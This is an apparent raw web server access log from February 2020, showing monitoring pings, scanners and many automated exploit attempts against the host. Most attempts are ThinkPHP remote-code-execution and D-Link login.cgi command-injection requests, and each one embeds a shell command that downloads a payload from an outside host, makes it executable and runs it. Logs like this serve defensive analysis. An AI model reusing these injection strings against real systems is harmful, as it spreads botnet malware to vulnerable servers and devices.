212.91.246.72 - - [05/Feb/2020:17:50:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.32.140.239 - - [05/Feb/2020:17:51:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
183.80.154.92 - - [05/Feb/2020:17:51:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:51:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.189.4.59 - - [05/Feb/2020:17:52:08 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
178.176.194.96 - - [05/Feb/2020:17:52:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:52:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:53:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.196.128 - - [05/Feb/2020:17:54:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:54:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:55:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.12.187 - - [05/Feb/2020:17:55:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:56:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
87.236.185.222 - - [05/Feb/2020:17:57:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:17:57:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.252.110 - - [05/Feb/2020:17:57:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:17:58:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:17:59:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
120.194.198.44 - - [05/Feb/2020:18:00:26 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [05/Feb/2020:18:00:27 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [05/Feb/2020:18:00:28 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [05/Feb/2020:18:00:28 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [05/Feb/2020:18:00:29 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [05/Feb/2020:18:00:29 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [05/Feb/2020:18:00:31 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [05/Feb/2020:18:00:31 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.194.198.44 - - [05/Feb/2020:18:00:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [05/Feb/2020:18:00:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.96.185 - - [05/Feb/2020:18:00:59 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
169.197.108.38 - - [05/Feb/2020:18:01:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:18:01:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.133.82.214 - - [05/Feb/2020:18:02:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:02:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.115.202.201 - - [05/Feb/2020:18:02:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:03:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [05/Feb/2020:18:03:50 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
116.104.92.123 - - [05/Feb/2020:18:03:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
106.212.226.68 - - [05/Feb/2020:18:04:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:04:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.84.183.126 - - [05/Feb/2020:18:04:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.112.50.219 - - [05/Feb/2020:18:05:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:05:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:06:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:07:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.104.190.7 - - [05/Feb/2020:18:07:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
47.95.235.79 - - [05/Feb/2020:18:08:03 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
5.101.0.209 - - [05/Feb/2020:18:08:19 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [05/Feb/2020:18:08:20 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
116.177.179.173 - - [05/Feb/2020:18:08:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:08:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
171.229.232.25 - - [05/Feb/2020:18:09:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.116.93.35 - - [05/Feb/2020:18:09:49 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:18:09:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.116.93.35 - - [05/Feb/2020:18:09:53 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [05/Feb/2020:18:09:59 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [05/Feb/2020:18:10:11 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
220.116.93.35 - - [05/Feb/2020:18:10:35 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:18:10:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:11:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [05/Feb/2020:18:12:11 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:18:12:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:13:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:14:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.110.21.95 - - [05/Feb/2020:18:15:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [05/Feb/2020:18:15:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:16:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:17:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.216.149.140 - - [05/Feb/2020:18:18:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2)"
180.93.28.224 - - [05/Feb/2020:18:18:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:18:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:19:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:20:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.116.90.238 - - [05/Feb/2020:18:21:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:21:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.184.50.88 - - [05/Feb/2020:18:22:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:18:22:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.179.148 - - [05/Feb/2020:18:23:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:23:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.190.173.13 - - [05/Feb/2020:18:24:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
95.57.107.84 - - [05/Feb/2020:18:24:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:24:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.26.154.92 - - [05/Feb/2020:18:25:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
187.45.123.147 - - [05/Feb/2020:18:25:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:18:25:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
119.196.108.183 - - [05/Feb/2020:18:25:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.157.155.225 - - [05/Feb/2020:18:26:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:26:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.118.161.45 - - [05/Feb/2020:18:26:51 +0100] "GET / HTTP/1.0" 200 1229 "-" "NetSystemsResearch studies the availability of various services across the internet. Our website is netsystemsresearch.com"
212.91.246.72 - - [05/Feb/2020:18:27:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.61.33.38 - - [05/Feb/2020:18:27:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:18:28:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:29:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:30:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:31:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:32:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.81 - - [05/Feb/2020:18:33:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:33:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:34:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:35:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
109.94.112.146 - - [05/Feb/2020:18:36:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:18:36:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.131.51 - - [05/Feb/2020:18:37:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.131.51 - - [05/Feb/2020:18:37:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.131.51 - - [05/Feb/2020:18:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [05/Feb/2020:18:37:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:38:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.131.51 - - [05/Feb/2020:18:39:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [05/Feb/2020:18:39:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.131.51 - - [05/Feb/2020:18:40:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [05/Feb/2020:18:40:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.138.190.211 - - [05/Feb/2020:18:40:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
162.243.131.51 - - [05/Feb/2020:18:41:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.131.51 - - [05/Feb/2020:18:41:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
138.88.136.108 - - [05/Feb/2020:18:41:43 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:18:41:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
162.243.131.51 - - [05/Feb/2020:18:41:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
162.243.131.51 - - [05/Feb/2020:18:42:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
86.120.44.244 - - [05/Feb/2020:18:42:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:42:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:43:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.52.13.49 - - [05/Feb/2020:18:44:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:44:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:45:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:46:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:18:47:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.71.13.213 - - [05/Feb/2020:18:48:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:18:48:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
